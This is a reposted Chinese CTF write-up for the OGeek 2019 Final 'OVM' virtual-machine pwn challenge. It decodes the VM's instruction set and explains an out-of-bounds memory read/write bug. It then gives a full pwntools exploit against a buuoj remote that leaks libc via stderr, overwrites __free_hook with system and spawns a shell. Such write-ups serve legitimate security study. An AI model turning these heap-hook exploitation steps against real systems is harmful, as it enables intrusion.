OGeek_2019_Final OVM题解

2023-10-07 18:59
文章标签 2019 final 题解 ovm ogeek

本文主要是介绍OGeek_2019_Final OVM题解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

WP

  • 程序分析
    • 程序主逻辑分析
    • 虚拟机指令分析
  • 利用思路
  • exp
  • 总结

程序分析

  本题目是一道典型的虚拟机题目,通过这道题目,我们可以学习一下VM pwn题的分析技巧和利用思路。
  该题目程序和远程环境可以在buuoj上找到,下面老规矩先检查下程序信息,64位小端程序,没有开启栈保护。

check-pwn
  做虚拟机的pwn题,我们可以分两大步骤进行,首先先分析一下这个程序是如何实现虚拟机功能的,也就是程序自身的大逻辑,然后我们再详细分析程序虚拟出来的指令,分析指令的过程可能会比较耗时,需要耐心。

程序主逻辑分析

  我们首先来看一下程序的大逻辑,程序本身是没有去除符号表的,再结合自身的理解,可以将程序恢复如下面截图所示。先看main函数前半部分,comment是malloc出来的一块内存,然后该程序会要求我们输入pc值,sp值以及code size。这里的pc也就是程序指令索引,sp可以看成栈指针,code size也就是指令条数。之后会结合sp和code size对我们输入的数据做一个简单的判断。这里可以注意一下reg[]这个数组,该数组对应虚拟机的寄存器,可以看到sp和pc分别存储在reg[13]和reg[15]中。

main-1
  我们再来看一下main函数的后半部分,如下截图所示,这里会根据我们输入的code size也就是指令条数来循环读取指令。然后令running = 1,启动虚拟机,fetch()会根据reg[15]也就是pc值来取指令,取完一条后自增一;execute执行指令功能,对应程序虚拟出来的指令。最后当虚拟机退出时,我们可以向comment写入内容,sendcomment实际功能是free掉这个堆块,之后程序结束。

main-2

虚拟机指令分析

  接下来,我们进入第二步,分析出程序虚拟的指令。这里execute函数代码比较长,就不再一步步分析,我们可以看一下代码最开头的逻辑就知道如何分析了。
  如下截图所示,结合前面读取指令使用的格式化符号%d,以及这里的处理逻辑,我们可以分析出指令字长(instr)为32bit。进一步分析前面几行代码,我们可以推断出该指令为三操作数指令,取4字节最高位字节作为操作码,dst是第二个字节的低四位,op2是第三个字节的低四位,op1是最后一个字节的低四位。这里只取低四位,是因为后面的操作都是在reg寄存器中,所以只需要低四位即可。

vm-code
  利用上面的分析思路,这里我将分析出来的指令总结如下。

instr  -->  op | dst | op2 | op1  4B 32bitop:
0x10 --> reg[dst] = op1
0x20 --> reg[dst] = (op1 == 0)
0x30 --> reg[dst] = memory[reg[op1]] --> mov mem, reg
0x40 --> memory[reg[op1]] = reg[dst] --> mov reg, mem
0x50 --> stack[sp++] = reg[dst] --> push reg
0x60 --> reg[dst] = stack[--sp] --> pop reg
0x70 --> reg[dst] = reg[op1] + reg[op2] --> add
0x80 --> reg[dst] = reg[op2] - reg[op1] --> sub
0x90 --> reg[dst] = reg[op1] & reg[op2] --> and
0xA0 --> reg[dst] = reg[op1] | reg[op2] --> or
0xB0 --> reg[dst] = reg[op1] ^ reg[op2] --> xor  
0xC0 --> reg[dst] = reg[op2] << reg[op1]--> <<
0xD0 --> reg[dst] = reg[op2] >> reg[op1]--> >>
0XE0 and else --> exit

利用思路

  程序的漏洞位于上面分析出来的两条mov指令中,即memory[]数组在取值和存储的过程中没有检查边界,而该变量位于bss段上,所以可以利用其边界溢出进行地址泄露和覆盖。
  具体操作,利用memory[]数组越界泄露stderr的地址,注意这里一个reg只能存储4B的值,所以需要用两个寄存器来存储stderr的地址,reg[3]存储高4位,reg[2]存储低4位。而只有当虚拟机退出的时候,才能打印reg寄存器的值,所以我们直接计算出stderr和free_hook的偏移,修改reg[2]为free_hook-0x8的低4位,此时reg[3]reg[2]合在一起就是free_hook-0x8的地址。之后利用数组越界将comment存储的地址覆盖为free_hook-0x8,退出虚拟机,利用此时reg[3]reg[2]中的值计算出system的地址,然后在编辑comment时输入"/bin/sh\x00"+p64(system),之后执行free即可获取shell。

exp

from pwn import *ld_path = ""
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
# p = process([ld_path, ""], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("./pwn")
p = remote("node3.buuoj.cn", 27542)r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()def gen_code(op, dst, op1, op2):code = (op<<24)+(dst<<16)+(op1<<8)+op2print(hex(code))return str(code)sla("PC: ", "0")
sla("SP: ", "1")
sla("CODE SIZE: ", "24")
ru("CODE: ")# copy stderr addr --> reg[3]reg[2]
sl(gen_code(0x10, 0, 0, 26))  # reg[0] = 26 (stderr offset)
sl(gen_code(0x80, 1, 1, 0))   # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 2, 0, 1))   # reg[2] = memory[reg[1]] (stderr low 4B)
sl(gen_code(0x10, 0, 0, 25))  # reg[0] = 25
sl(gen_code(0x10, 1, 0, 0))   # reg[1] = 0
sl(gen_code(0x80, 1, 1, 0))   # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 3, 0, 1))   # reg[3] = memory[reg[1]] (stderr high 4B)# modify reg[3]reg[2] --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 0x10))# reg[4] = 0x10
sl(gen_code(0x10, 5, 0, 8))   # reg[5] = 12
sl(gen_code(0xC0, 4, 4, 5))   # reg[4] = reg[4] << reg[5]
sl(gen_code(0x10, 5, 0, 0xa)) # reg[5] = 0xA
sl(gen_code(0x10, 6, 0, 4))   # reg[6] = 4
sl(gen_code(0xC0, 5, 5, 6))   # reg[5] = reg[5] << reg[6]
sl(gen_code(0x70, 4, 4, 5))   # reg[4] = reg[4] + reg[5]
sl(gen_code(0x70, 2, 4, 2))   # reg[2] = reg[4] + reg[2]# modify comment content --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 8))   # reg[4] = 8
sl(gen_code(0x10, 5, 0, 0))   # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4))   # reg[5] = reg[5] - reg[4]
sl(gen_code(0x40, 2, 0, 5))   # memory[reg[5]] = reg[2]
sl(gen_code(0x10, 4, 0, 7))   # reg[4] = 7
sl(gen_code(0x10, 5, 0, 0))   # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4))   # reg[5] = reg[5] - reg[4]
sl(gen_code(0x40, 3, 0, 5))   # memory[reg[5]] = reg[3]
sl(gen_code(0xE0, 0, 0, 0))   # exit# count
ru("R2: ")
low = int(rud("\n"), 16)+8
ru("R3: ")
high = int(rud("\n"), 16)
f_hook = (high<<32)+low
print("f_hook: ", hex(f_hook))
libc = ELF(libc_path)
base = f_hook-libc.sym["__free_hook"]
print("base: ", hex(base))
sys = base+libc.sym["system"]
print("sys: ", hex(sys))# attack
pad = b"/bin/sh\x00"+p64(sys)
s(pad)shell()

总结

不忘初心,砥砺前行!

这篇关于OGeek_2019_Final OVM题解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/159792

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

【秋招笔试】9.07米哈游秋招改编题-三语言题解

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 大厂实习经历 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收集 100+ 套笔试题,笔试真题 会在第一时间跟新 🍄 题面描述等均已改编,如果和你笔试题看到的题面描述

LeetCode 第414场周赛个人题解

目录 Q1. 将日期转换为二进制表示 原题链接 思路分析 AC代码 Q2. 范围内整数的最大得分 原题链接 思路分析 AC代码 Q3. 到达数组末尾的最大得分 原题链接 思路分析 AC代码 Q4. 吃掉所有兵需要的最多移动次数 原题链接 思路分析 AC代码 Q1. 将日期转换为二进制表示 原题链接 Q1. 将日期转换为二进制表示 思路分析

牛客小白月赛100部分题解

比赛地址:牛客小白月赛100_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ A.ACM中的A题 #include<bits/stdc++.h>using namespace std;#define ll long long#define ull = unsigned long longvoid solve() {ll a,b,c;cin>>a>>b>

P2858 [USACO06FEB] Treats for the Cows G/S 题解

P2858 题意 给一个数组。每天把最左或者最右的东西卖掉,第 i i i个东西,第 d a y day day天卖出的价格是 a [ i ] ∗ d a y a[i]*day a[i]∗day。 记忆化搜索 void dfs(int l,int r,int day,ll sum){if(v[l][r]>=sum)return;v[l][r]=sum;if(l>r)//这就是dp答案{

【C++题解】1272. 郭远摘苹果

欢迎关注本专栏《C++从零基础到信奥赛入门级(CSP-J)》 问题:1272. 郭远摘苹果 类型:二维数组 题目描述: 郭远有一天走到了一片苹果林,里面每颗树上都结有不同数目的苹果,郭远身上只能拿同一棵树上的苹果,他每到一棵果树前都会把自己身上的苹果扔掉并摘下他所在树上的苹果并带走(假设郭远会走过每一棵苹果树),问在郭远摘苹果的整个过程中,他身上携带的最多苹果数与最小苹果数的差是多少?

【最新华为OD机试E卷-支持在线评测】机器人活动区域(100分)多语言题解-(Python/C/JavaScript/Java/Cpp)

🍭 大家好这里是春秋招笔试突围 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-E/D卷的三语言AC题解 💻 ACM金牌🏅️团队| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 🍿 最新华为OD机试D卷目录,全、新、准,题目覆盖率达 95% 以上,支持题目在线评测,专栏文章质量平均 94 分 最新华为OD机试目录: https://blog.